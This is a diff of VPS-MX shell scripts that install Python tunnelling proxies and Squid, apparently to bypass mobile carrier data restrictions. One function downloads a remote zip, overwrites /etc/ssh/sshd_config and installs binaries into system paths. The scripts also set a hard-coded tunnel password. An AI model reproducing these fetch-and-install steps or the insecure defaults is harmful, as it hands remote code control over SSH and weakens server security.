+mportas () {
+unset portas
+portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
+done <<< "$portas_var"
+i=1
+echo -e "$portas"
+}
+meu_ip () {
+MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP"
+}
+tcpbypass_fun () {
+[[ -e $HOME/socks ]] && rm -rf $HOME/socks > /dev/null 2>&1
+[[ -d $HOME/socks ]] && rm -rf $HOME/socks > /dev/null 2>&1
+cd $HOME && mkdir socks > /dev/null 2>&1
+cd socks
+patch="https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/backsocz.zip"
+arq="backsocz.zip"
+wget $patch > /dev/null 2>&1
+unzip $arq > /dev/null 2>&1
+mv -f /root/socks/backsocz/./ssh /etc/ssh/sshd_config && service ssh restart 1> /dev/null 2>/dev/null
+mv -f /root/socks/backsocz/sckt$(python3 --version|awk '{print $2}'|cut -d'.' -f1,2) /usr/sbin/sckt
+mv -f /root/socks/backsocz/scktcheck /bin/scktcheck
+chmod +x /bin/scktcheck
+chmod +x  /usr/sbin/sckt
+rm -rf $HOME/root/socks
+cd $HOME
+msg="$2"
+[[ $msg = "" ]] && msg="@Kalix1"
+portxz="$1"
+[[ $portxz = "" ]] && portxz="8080"
+screen -dmS sokz scktcheck "$portxz" "$msg" > /dev/null 2>&1
+}
+gettunel_fun () {
+echo "master=NetVPS" > ${SCPinst}/pwd.pwd
+while read service; do
+[[ -z $service ]] && break
+echo "127.0.0.1:$(echo $service|cut -d' ' -f2)=$(echo $service|cut -d' ' -f1)" >> ${SCPinst}/pwd.pwd
+done <<< "$(mportas)"
+screen -dmS getpy python ${SCPinst}/PGet.py -b "0.0.0.0:$1" -p "${SCPinst}/pwd.pwd"
+ [[ "$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}')" ]] && {
+ echo -e "$(fun_trans  "Gettunel Iniciado com Sucesso")"
+ msg -bar
+ echo -ne "$(fun_trans  "Sua Senha Gettunel e"):"
+ echo -e "\033[1;32m NetVPS"
+ msg -bar
+ } || echo -e "$(fun_trans  "Gettunel nao foi iniciado")"
+ msg -bar
+}
+
+PythonDic_fun () {
+echo -e "\033[1;33m  Selecciona Puerto Local y Encabezado\033[1;37m" 
+msg -bar
+echo -ne "\033[1;97mDigite Un Puerto SSH/DROPBEAR activo: \033[1;92m" && read puetoantla 
+msg -bar
+echo -ne "\033[1;97mRespuesta de encabezado (200,101,404,500,etc): \033[1;92m" && read rescabeza
+msg -bar
+(
+less << PYTHON  > /etc/VPS-MX/protocolos/PDirect.py
+import socket, threading, thread, select, signal, sys, time, getopt
+
+# Listen
+LISTENING_ADDR = '0.0.0.0'
+if sys.argv[1:]:
+  LISTENING_PORT = sys.argv[1]
+else:
+  LISTENING_PORT = 80  
+#Pass
+PASS = ''
+
+# CONST
+BUFLEN = 4096 * 4
+TIMEOUT = 60
+DEFAULT_HOST = '127.0.0.1:$puetoantla'
+RESPONSE = 'HTTP/1.1 $rescabeza <strong>$texto_soket</strong>\r\nContent-length: 0\r\n\r\nHTTP/1.1 $rescabeza Connection established\r\n\r\n'
+#RESPONSE = 'HTTP/1.1 200 Hello_World!\r\nContent-length: 0\r\n\r\nHTTP/1.1 200 Connection established\r\n\r\n'  # lint:ok
+
+class Server(threading.Thread):
+    def __init__(self, host, port):
+        threading.Thread.__init__(self)
+        self.running = False
+        self.host = host
+        self.port = port
+        self.threads = []
+        self.threadsLock = threading.Lock()
+        self.logLock = threading.Lock()
+
+    def run(self):
+        self.soc = socket.socket(socket.AF_INET)
+        self.soc.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.soc.settimeout(2)
+        intport = int(self.port)
+        self.soc.bind((self.host, intport))
+        self.soc.listen(0)
+        self.running = True
+
+        try:
+            while self.running:
+                try:
+                    c, addr = self.soc.accept()
+                    c.setblocking(1)
+                except socket.timeout:
+                    continue
+
+                conn = ConnectionHandler(c, self, addr)
+                conn.start()
+                self.addConn(conn)
+        finally:
+            self.running = False
+            self.soc.close()
+
+    def printLog(self, log):
+        self.logLock.acquire()
+        print log
+        self.logLock.release()
+
+    def addConn(self, conn):
+        try:
+            self.threadsLock.acquire()
+            if self.running:
+                self.threads.append(conn)
+        finally:
+            self.threadsLock.release()
+
+    def removeConn(self, conn):
+        try:
+            self.threadsLock.acquire()
+            self.threads.remove(conn)
+        finally:
+            self.threadsLock.release()
+
+    def close(self):
+        try:
+            self.running = False
+            self.threadsLock.acquire()
+
+            threads = list(self.threads)
+            for c in threads:
+                c.close()
+        finally:
+            self.threadsLock.release()
+
+
+class ConnectionHandler(threading.Thread):
+    def __init__(self, socClient, server, addr):
+        threading.Thread.__init__(self)
+        self.clientClosed = False
+        self.targetClosed = True
+        self.client = socClient
+        self.client_buffer = ''
+        self.server = server
+        self.log = 'Connection: ' + str(addr)
+
+    def close(self):
+        try:
+            if not self.clientClosed:
+                self.client.shutdown(socket.SHUT_RDWR)
+                self.client.close()
+        except:
+            pass
+        finally:
+            self.clientClosed = True
+
+        try:
+            if not self.targetClosed:
+                self.target.shutdown(socket.SHUT_RDWR)
+                self.target.close()
+        except:
+            pass
+        finally:
+            self.targetClosed = True
+
+    def run(self):
+        try:
+            self.client_buffer = self.client.recv(BUFLEN)
+
+            hostPort = self.findHeader(self.client_buffer, 'X-Real-Host')
+
+            if hostPort == '':
+                hostPort = DEFAULT_HOST
+
+            split = self.findHeader(self.client_buffer, 'X-Split')
+
+            if split != '':
+                self.client.recv(BUFLEN)
+
+            if hostPort != '':
+                passwd = self.findHeader(self.client_buffer, 'X-Pass')
+				
+                if len(PASS) != 0 and passwd == PASS:
+                    self.method_CONNECT(hostPort)
+                elif len(PASS) != 0 and passwd != PASS:
+                    self.client.send('HTTP/1.1 400 WrongPass!\r\n\r\n')
+                elif hostPort.startswith('127.0.0.1') or hostPort.startswith('localhost'):
+                    self.method_CONNECT(hostPort)
+                else:
+                    self.client.send('HTTP/1.1 403 Forbidden!\r\n\r\n')
+            else:
+                print '- No X-Real-Host!'
+                self.client.send('HTTP/1.1 400 NoXRealHost!\r\n\r\n')
+
+        except Exception as e:
+            self.log += ' - error: ' + e.strerror
+            self.server.printLog(self.log)
+	    pass
+        finally:
+            self.close()
+            self.server.removeConn(self)
+
+    def findHeader(self, head, header):
+        aux = head.find(header + ': ')
+
+        if aux == -1:
+            return ''
+
+        aux = head.find(':', aux)
+        head = head[aux+2:]
+        aux = head.find('\r\n')
+
+        if aux == -1:
+            return ''
+
+        return head[:aux];
+
+    def connect_target(self, host):
+        i = host.find(':')
+        if i != -1:
+            port = int(host[i+1:])
+            host = host[:i]
+        else:
+            if self.method=='CONNECT':
+                port = $puetoantla
+            else:
+                port = sys.argv[1]
+
+        (soc_family, soc_type, proto, _, address) = socket.getaddrinfo(host, port)[0]
+
+        self.target = socket.socket(soc_family, soc_type, proto)
+        self.targetClosed = False
+        self.target.connect(address)
+
+    def method_CONNECT(self, path):
+        self.log += ' - CONNECT ' + path
+
+        self.connect_target(path)
+        self.client.sendall(RESPONSE)
+        self.client_buffer = ''
+
+        self.server.printLog(self.log)
+        self.doCONNECT()
+
+    def doCONNECT(self):
+        socs = [self.client, self.target]
+        count = 0
+        error = False
+        while True:
+            count += 1
+            (recv, _, err) = select.select(socs, [], socs, 3)
+            if err:
+                error = True
+            if recv:
+                for in_ in recv:
+		    try:
+                        data = in_.recv(BUFLEN)
+                        if data:
+			    if in_ is self.target:
+				self.client.send(data)
+                            else:
+                                while data:
+                                    byte = self.target.send(data)
+                                    data = data[byte:]
+
+                            count = 0
+			else:
+			    break
+		    except:
+                        error = True
+                        break
+            if count == TIMEOUT:
+                error = True
+            if error:
+                break
+
+
+def print_usage():
+    print 'Usage: proxy.py -p <port>'
+    print '       proxy.py -b <bindAddr> -p <port>'
+    print '       proxy.py -b 0.0.0.0 -p 80'
+
+def parse_args(argv):
+    global LISTENING_ADDR
+    global LISTENING_PORT
+    
+    try:
+        opts, args = getopt.getopt(argv,"hb:p:",["bind=","port="])
+    except getopt.GetoptError:
+        print_usage()
+        sys.exit(2)
+    for opt, arg in opts:
+        if opt == '-h':
+            print_usage()
+            sys.exit()
+        elif opt in ("-b", "--bind"):
+            LISTENING_ADDR = arg
+        elif opt in ("-p", "--port"):
+            LISTENING_PORT = int(arg)
+
+
+def main(host=LISTENING_ADDR, port=LISTENING_PORT):
+    print "\n:-------PythonProxy-------:\n"
+    print "Listening addr: " + LISTENING_ADDR
+    print "Listening port: " + str(LISTENING_PORT) + "\n"
+    print ":-------------------------:\n"
+    server = Server(LISTENING_ADDR, LISTENING_PORT)
+    server.start()
+    while True:
+        try:
+            time.sleep(2)
+        except KeyboardInterrupt:
+            print 'Stopping...'
+            server.close()
+            break
+
+#######    parse_args(sys.argv[1:])
+if __name__ == '__main__':
+    main()
+
+PYTHON
+) > $HOME/proxy.log
+
+chmod +x /etc/VPS-MX/protocolos/PDirect.py
+
+screen -dmS pydic-"$porta_socket" python ${SCPinst}/PDirect.py "$porta_socket" "$texto_soket" && echo ""$porta_socket" "$texto_soket"" >> /etc/VPS-MX/PortPD.log
+}
+
+
+
+
+pid_kill () {
+[[ -z $1 ]] && refurn 1
+pids="$@"
+for pid in $(echo $pids); do
+kill -9 $pid &>/dev/null
+done
+}
+remove_fun () {
+echo -e "$(fun_trans  "Parando Socks Python")"
+msg -bar
+pidproxy=$(ps x | grep "PPub.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && pid_kill $pidproxy
+pidproxy2=$(ps x | grep "PPriv.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy2 ]] && pid_kill $pidproxy2
+pidproxy3=$(ps x | grep "PDirect.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && pid_kill $pidproxy3
+pidproxy4=$(ps x | grep "POpen.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy4 ]] && pid_kill $pidproxy4
+pidproxy5=$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy5 ]] && pid_kill $pidproxy5
+pidproxy6=$(ps x | grep "scktcheck" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy6 ]] && pid_kill $pidproxy6
+pidproxy7=$(ps x | grep "python.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy7 ]] && pid_kill $pidproxy7
+echo -e "\033[1;91m  $(fun_trans  "Socks DETENIDOS")"
+msg -bar
+rm -rf /etc/VPS-MX/PortPD.log
+echo "" > /etc/VPS-MX/PortPD.log
+exit 0
+}
+iniciarsocks () {
+pidproxy=$(ps x | grep -w "PPub.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && P1="\033[1;32m[ON]" || P1="\033[1;31m[OFF]"
+pidproxy2=$(ps x | grep -w  "PPriv.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy2 ]] && P2="\033[1;32m[ON]" || P2="\033[1;31m[OFF]"
+pidproxy3=$(ps x | grep -w  "PDirect.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && P3="\033[1;32m[ON]" || P3="\033[1;31m[OFF]"
+pidproxy4=$(ps x | grep -w  "POpen.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy4 ]] && P4="\033[1;32m[ON]" || P4="\033[1;31m[OFF]"
+pidproxy5=$(ps x | grep "PGet.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy5 ]] && P5="\033[1;32m[ON]" || P5="\033[1;31m[OFF]"
+pidproxy6=$(ps x | grep "scktcheck" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy6 ]] && P6="\033[1;32m[ON]" || P6="\033[1;31m[OFF]"
+msg -bar 
+msg -tit
+msg -ama "   INSTALADOR DE PROXY'S VPS-MX By MOD @Kalix1"
+msg -bar
+echo -e "${cor[4]} [1] $(msg -verm2 "==>>") \033[1;97m$(fun_trans  "Proxy Python SIMPLE")\033[1;97m ------------- $P1"
+echo -e "${cor[4]} [2] $(msg -verm2 "==>>") \033[1;97m$(fun_trans  "Proxy Python SEGURO")\033[1;97m ------------- $P2"
+echo -e "${cor[4]} [3] $(msg -verm2 "==>>") \033[1;97m$(fun_trans  "Proxy Python DIRETO")\033[1;97m ------------- $P3"
+echo -e "${cor[4]} [4] $(msg -verm2 "==>>") \033[1;97m$(fun_trans  "Proxy Python OPENVPN")\033[1;97m ------------ $P4"
+echo -e "${cor[4]} [5] $(msg -verm2 "==>>") \033[1;97m$(fun_trans  "Proxy Python GETTUNEL")\033[1;97m ----------- $P5"
+echo -e "${cor[4]} [6] $(msg -verm2 "==>>") \033[1;97m$(fun_trans  "Proxy Python TCP BYPASS")\033[1;97m --------- $P6"
+echo -e "${cor[4]} [7] $(msg -verm2 "==>>") \033[1;97m$(fun_trans  " ¡¡ PARAR TODOS LOS PROXY'S !!")"
+echo -e "$(msg -bar)\n${cor[4]} [0] $(msg -verm2 "==>>")  \e[97m\033[1;41m VOLVER \033[1;37m"
+msg -bar
+IP=(meu_ip)
+while [[ -z $portproxy || $portproxy != @(0|[1-7]) ]]; do
+echo -ne "$(fun_trans  "Digite Una Opcion"): \033[1;37m" && read portproxy
+tput cuu1 && tput dl1
+done
+ case $portproxy in
+    7)remove_fun;;
+    0)return;;
+ esac
+echo -e "\033[1;33m       Selecciona Puerto Principal del Proxy"
+msg -bar
+porta_socket=
+while [[ -z $porta_socket || ! -z $(mportas|grep -w $porta_socket) ]]; do
+echo -ne "Digite el Puerto: \033[1;92m" && read porta_socket
+tput cuu1 && tput dl1
+done
+echo -e "$(fun_trans  "Introdusca su Mini-Banner")"
+msg -bar
+echo -ne "Introduzca el texto de estado plano o en HTML:\n \033[1;37m" && read texto_soket
+    msg -bar
+    case $portproxy in
+    1)screen -dmS screen python ${SCPinst}/PPub.py "$porta_socket" "$texto_soket";;
+    2)screen -dmS screen python3 ${SCPinst}/PPriv.py "$porta_socket" "$texto_soket" "$IP";;
+    3)PythonDic_fun;;
+    4)screen -dmS screen python ${SCPinst}/POpen.py "$porta_socket" "$texto_soket";;
+    5)gettunel_fun "$porta_socket";;
+    6)tcpbypass_fun "$porta_socket" "$texto_soket";;
+    esac
+echo -e "\033[1;92m$(fun_trans "Procedimiento COMPLETO")"
+msg -bar
+}
+iniciarsocks

+ 373 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/squid.sh

@@ -0,0 +1,373 @@
+#!/bin/bash
+#25/01/2021
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;32m" [3]="\033[1;36m" [4]="\033[1;31m" )
+clear
+clear
+SCPdir="/etc/VPS-MX"
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
+SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
+dirapache="/usr/local/lib/ubuntn/apache/ver" && [[ ! -d ${dirapache} ]] && exit
+#LISTA PORTAS
+mportas () {
+unset portas
+portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN")
+while read port; do
+var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+[[ "$(echo -e $portas|grep "$var1 $var2")" ]] || portas+="$var1 $var2\n"
+done <<< "$portas_var"
+i=1
+echo -e "$portas"
+}
+fun_ip () {
+MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
+[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP"
+}
+#ETHOOL SSH
+fun_eth () {
+eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
+    [[ $eth != "" ]] && {
+    msg -bar
+    echo -e "${cor[3]} $(fun_trans  "Aplicar el sistema para mejorar los paquetes SSH?")"
+    echo -e "${cor[3]} $(fun_trans  "Opciones para usuarios avanzados")"
+    msg -bar
+    read -p "[S/N]: " -e -i n sshsn
+    tput cuu1 && tput dl1
+           [[ "$sshsn" = @(s|S|y|Y) ]] && {
+           echo -e "${cor[1]} $(fun_trans "Correccion de problemas de paquetes en SSH...")"
+		   msg -bar
+           echo -e " $(fun_trans "Cual es la tasa RX")"
+           echo -ne "[ 1 - 999999999 ]: "; read rx
+           [[ "$rx" = "" ]] && rx="999999999"
+           echo -e " $(fun_trans "Cual es la tasa TX")"
+           echo -ne "[ 1 - 999999999 ]: "; read tx
+           [[ "$tx" = "" ]] && tx="999999999"
+           apt-get install ethtool -y > /dev/null 2>&1
+           ethtool -G $eth rx $rx tx $tx > /dev/null 2>&1
+           msg -bar
+           }
+     }
+}
+fun_bar () {
+comando="$1"
+ _=$(
+$comando > /dev/null 2>&1
+) & > /dev/null
+pid=$!
+while [[ -d /proc/$pid ]]; do
+echo -ne " \033[1;33m["
+   for((i=0; i<20; i++)); do
+   echo -ne "\033[1;31m##"
+   sleep 0.2
+   done
+echo -ne "\033[1;33m]"
+sleep 1s
+echo
+tput cuu1 && tput dl1
+done
+echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m"
+sleep 1s
+}
+msg -bar3
+fun_squid  () {
+  if [[ -e /etc/squid/squid.conf ]]; then
+  var_squid="/etc/squid/squid.conf"
+  elif [[ -e /etc/squid3/squid.conf ]]; then
+  var_squid="/etc/squid3/squid.conf"
+  fi
+  [[ -e $var_squid ]] && {
+  echo -e "\033[1;32m $(fun_trans "REMOVIENDO SQUID")"
+  msg -bar
+  service squid stop > /dev/null 2>&1
+  fun_bar "apt-get remove squid3 -y"
+  msg -bar
+  echo -e "\033[1;32m $(fun_trans "Procedimento Concluido")"
+  msg -bar
+  [[ -e $var_squid ]] && rm $var_squid
+  return 0
+  }
+msg -bar
+msg -tit
+msg -ama "         INSTALADOR SQUID VPS-MX By @Kalix1"
+msg -bar
+fun_ip
+echo -ne " $(fun_trans "Confirme su ip")\033[1;91m"; read -p ": " -e -i $IP ip
+msg -bar
+echo -e " $(fun_trans "\033[1;97mAhora elige los puertos que desea en el Squid")"
+echo -e " $(fun_trans "\033[1;97mSeleccione puertos en orden secuencial,\n \033[1;92mEjemplo: 80 8080 8799 3128")"
+msg -bar
+echo -ne " $(fun_trans "Digite losPuertos:")\033[1;32m "; read portasx
+msg -bar
+totalporta=($portasx)
+unset PORT
+   for((i=0; i<${#totalporta[@]}; i++)); do
+        [[ $(mportas|grep "${totalporta[$i]}") = "" ]] && {
+        echo -e "\033[1;33m $(fun_trans  "Puerto Escojido:")\033[1;32m ${totalporta[$i]} OK"
+        PORT+="${totalporta[$i]}\n"
+        } || {
+        echo -e "\033[1;33m $(fun_trans  "Puerto Escojido:")\033[1;31m ${totalporta[$i]} FAIL"
+        }
+   done
+  [[ -z $PORT ]] && {
+  echo -e "\033[1;31m $(fun_trans  "No se ha elegido ninguna puerto valido")\033[0m"
+  return 1
+  }
+msg -bar
+echo -e " $(fun_trans  "INSTALANDO SQUID")"
+msg -bar
+fun_bar "apt-get install squid3 -y"
+
+msg -bar
+echo -e " $(fun_trans  "INICIANDO CONFIGURACION")"
+echo -e ".bookclaro.com.br/\n.claro.com.ar/\n.claro.com.br/\n.claro.com.co/\n.claro.com.ec/\n.claro.com.gt/\n.cloudfront.net/\n.claro.com.ni/\n.claro.com.pe/\n.claro.com.sv/\n.claro.cr/\n.clarocurtas.com.br/\n.claroideas.com/\n.claroideias.com.br/\n.claromusica.com/\n.clarosomdechamada.com.br/\n.clarovideo.com/\n.facebook.net/\n.facebook.com/\n.netclaro.com.br/\n.oi.com.br/\n.oimusica.com.br/\n.speedtest.net/\n.tim.com.br/\n.timanamaria.com.br/\n.vivo.com.br/\n.rdio.com/\n.compute-1.amazonaws.com/\n.portalrecarga.vivo.com.br/\n.vivo.ddivulga.com/" > /etc/payloads
+msg -bar
+echo -e "\033[1;32m $(fun_trans  "Ahora Escoja Una Conf Para Su Proxy")"
+msg -bar
+echo -e "|1| $(fun_trans  "Basico")"
+echo -e "|2| $(fun_trans  "Avanzado")\033[1;37m"
+msg -bar
+read -p "[1/2]: " -e -i 1 proxy_opt
+tput cuu1 && tput dl1
+if [[ $proxy_opt = 1 ]]; then
+echo -e " $(fun_trans  "          INSTALANDO SQUID BASICO")"
+elif [[ $proxy_opt = 2 ]]; then
+echo -e " $(fun_trans  "          INSTALANDO SQUID AVANZADO")"
+else
+echo -e " $(fun_trans  "          INSTALANDO SQUID BASICO")"
+proxy_opt=1
+fi
+unset var_squid
+if [[ -d /etc/squid ]]; then
+var_squid="/etc/squid/squid.conf"
+elif [[ -d /etc/squid3 ]]; then
+var_squid="/etc/squid3/squid.conf"
+fi
+if [[ "$proxy_opt" = @(02|2) ]]; then
+echo -e "#ConfiguracaoSquiD
+acl url1 dstdomain -i $ip
+acl url2 dstdomain -i 127.0.0.1
+acl url3 url_regex -i '/etc/payloads'
+acl url4 url_regex -i '/etc/opendns'
+acl url5 dstdomain -i localhost
+acl accept dstdomain -i GET
+acl accept dstdomain -i POST
+acl accept dstdomain -i OPTIONS
+acl accept dstdomain -i CONNECT
+acl accept dstdomain -i PUT
+acl HEAD dstdomain -i HEAD
+acl accept dstdomain -i TRACE
+acl accept dstdomain -i OPTIONS
+acl accept dstdomain -i PATCH
+acl accept dstdomain -i PROPATCH
+acl accept dstdomain -i DELETE
+acl accept dstdomain -i REQUEST
+acl accept dstdomain -i METHOD
+acl accept dstdomain -i NETDATA
+acl accept dstdomain -i MOVE
+acl all src 0.0.0.0/0
+http_access allow url1
+http_access allow url2
+http_access allow url3
+http_access allow url4
+http_access allow url5
+http_access allow accept
+http_access allow HEAD
+http_access deny all
+
+# Request Headers Forcing
+
+request_header_access Allow allow all
+request_header_access Authorization allow all
+request_header_access WWW-Authenticate allow all
+request_header_access Proxy-Authorization allow all
+request_header_access Proxy-Authenticate allow all
+request_header_access Cache-Control allow all
+request_header_access Content-Encoding allow all
+request_header_access Content-Length allow all
+request_header_access Content-Type allow all
+request_header_access Date allow all
+request_header_access Expires allow all
+request_header_access Host allow all
+request_header_access If-Modified-Since allow all
+request_header_access Last-Modified allow all
+request_header_access Location allow all
+request_header_access Pragma allow all
+request_header_access Accept allow all
+request_header_access Accept-Charset allow all
+request_header_access Accept-Encoding allow all
+request_header_access Accept-Language allow all
+request_header_access Content-Language allow all
+request_header_access Mime-Version allow all
+request_header_access Retry-After allow all
+request_header_access Title allow all
+request_header_access Connection allow all
+request_header_access Proxy-Connection allow all
+request_header_access User-Agent allow all
+request_header_access Cookie allow all
+#request_header_access All deny all
+
+# Response Headers Spoofing
+
+#reply_header_access Via deny all
+#reply_header_access X-Cache deny all
+#reply_header_access X-Cache-Lookup deny all
+
+#portas" > $var_squid
+for pts in $(echo -e $PORT); do
+echo -e "http_port $pts" >> $var_squid
+done
+echo -e "
+#nome
+visible_hostname VPS-MX
+
+via off
+forwarded_for off
+pipeline_prefetch off" >> $var_squid
+ else
+echo -e "#Configuracion SquiD
+acl localhost src 127.0.0.1/32 ::1
+acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 ::1
+acl SSL_ports port 443
+acl Safe_ports port 80
+acl Safe_ports port 21
+acl Safe_ports port 443
+acl Safe_ports port 70
+acl Safe_ports port 210
+acl Safe_ports port 1025-65535
+acl Safe_ports port 280
+acl Safe_ports port 488
+acl Safe_ports port 591
+acl Safe_ports port 777
+acl CONNECT method CONNECT
+acl SSH dst $ip-$ip/255.255.255.255
+http_access allow SSH
+http_access allow manager localhost
+http_access deny manager
+http_access allow localhost
+http_access deny all
+coredump_dir /var/spool/squid
+refresh_pattern ^ftp: 1440 20% 10080
+refresh_pattern ^gopher: 1440 0% 1440
+refresh_pattern -i (/cgi-bin/|\?) 0 0% 0
+refresh_pattern . 0 20% 4320
+
+#Puertos" > $var_squid
+for pts in $(echo -e $PORT); do
+echo -e "http_port $pts" >> $var_squid
+done
+echo -e "
+#HostName
+visible_hostname VPS-MX
+
+via off
+forwarded_for off
+pipeline_prefetch off" >> $var_squid
+fi
+touch /etc/opendns
+fun_eth
+msg -bar
+echo -ne " \033[1;31m [ ! ] \033[1;33m$(fun_trans  "    REINICIANDO SERVICIOS")"
+squid3 -k reconfigure > /dev/null 2>&1
+squid -k reconfigure > /dev/null 2>&1
+service ssh restart > /dev/null 2>&1
+service squid3 restart > /dev/null 2>&1
+service squid restart > /dev/null 2>&1
+echo -e " \033[1;32m[OK]"
+msg -bar
+echo -e "${cor[3]}$(fun_trans  "            SQUID CONFIGURADO")"
+msg -bar
+#UFW
+for ufww in $(mportas|awk '{print $2}'); do
+ufw allow $ufww > /dev/null 2>&1
+done
+}
+SPR &
+online_squid () {
+payload="/etc/payloads"
+msg -bar
+echo -e "\033[1;33m$(fun_trans  "            SQUID CONFIGURADO")"
+msg -bar
+echo -e "${cor[2]} [1] >${cor[3]} $(fun_trans  "Colocar Host en Squid")"
+echo -e "${cor[2]} [2] >${cor[3]} $(fun_trans  "Remover Host de Squid")"
+echo -e "${cor[2]} [3] >${cor[3]} $(fun_trans  "Desinstalar Squid")"
+echo -e "${cor[2]} [0] >${cor[3]} $(fun_trans  "Volver")"
+msg -bar
+while [[ $varpay != @(0|[1-3]) ]]; do
+read -p "[0/3]: " varpay
+tput cuu1 && tput dl1
+done
+if [[ "$varpay" = "0" ]]; then
+return 1
+elif [[ "$varpay" = "1" ]]; then
+echo -e "${cor[4]} $(fun_trans  "Hosts Actuales Dentro del Squid")"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+while [[ $hos != \.* ]]; do
+echo -ne "${cor[4]}$(fun_trans  "Escriba el nuevo host"): " && read hos
+tput cuu1 && tput dl1
+[[ $hos = \.* ]] && continue
+echo -e "${cor[4]}$(fun_trans  "Comience con") .${cor[0]}"
+sleep 2s
+tput cuu1 && tput dl1
+done
+host="$hos/"
+[[ -z $host ]] && return 1
+[[ `grep -c "^$host" $payload` -eq 1 ]] &&:echo -e "${cor[4]}$(fun_trans  "Host ya Exciste")${cor[0]}" && return 1
+echo "$host" >> $payload && grep -v "^$" $payload > /tmp/a && mv /tmp/a $payload
+echo -e "${cor[4]}$(fun_trans  "Host Agregado con Exito")"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+if [[ ! -f "/etc/init.d/squid" ]]; then
+service squid3 reload
+service squid3 restart
+else
+/etc/init.d/squid reload
+service squid restart
+fi	
+return 0
+elif [[ "$varpay" = "2" ]]; then
+echo -e "${cor[4]} $(fun_trans  "Hosts Actuales Dentro del Squid")"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+while [[ $hos != \.* ]]; do
+echo -ne "${cor[4]}$(fun_trans  "Digite un Host"): " && read hos
+tput cuu1 && tput dl1
+[[ $hos = \.* ]] && continue
+echo -e "${cor[4]}$(fun_trans  "Comience con") ."
+sleep 2s
+tput cuu1 && tput dl1
+done
+host="$hos/"
+[[ -z $host ]] && return 1
+[[ `grep -c "^$host" $payload` -ne 1 ]] &&!echo -e "${cor[5]}$(fun_trans  "Host No Encontrado")" && return 1
+grep -v "^$host" $payload > /tmp/a && mv /tmp/a $payload
+echo -e "${cor[4]}$(fun_trans  "Host Removido Con Exito")"
+msg -bar
+cat $payload | awk -F "/" '{print $1,$2,$3,$4}'
+msg -bar
+if [[ ! -f "/etc/init.d/squid" ]]; then
+service squid3 reload
+service squid3 restart
+service squid reload
+service squid restart
+else
+/etc/init.d/squid reload
+service squid restart
+/etc/init.d/squid3 reload
+service squid3 restart
+fi	
+return 0
+elif [[ "$varpay" = "3" ]]; then
+fun_squid
+fi
+}
+if [[ -e /etc/squid/squid.conf ]]; then
+online_squid
+elif [[ -e /etc/squid3/squid.conf ]]; then
+online_squid
+else
+fun_squid
+fi

+ 230 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/ssl.sh

@@ -0,0 +1,230 @@
+#!/bin/bash
+#25/01/2021 by @Kalix1
+clear
+clear
+SCPdir="/etc/VPS-MX"
+SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && exit
+SCPinst="${SCPdir}/protocolos"&& [[ ! -d ${SCPinst} ]] && exit
+declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
+dirapache="/usr/local/lib/ubuntn/apache/ver" && [[ ! -d ${dirapache} ]] && exit
+mportas () {
+unset portas
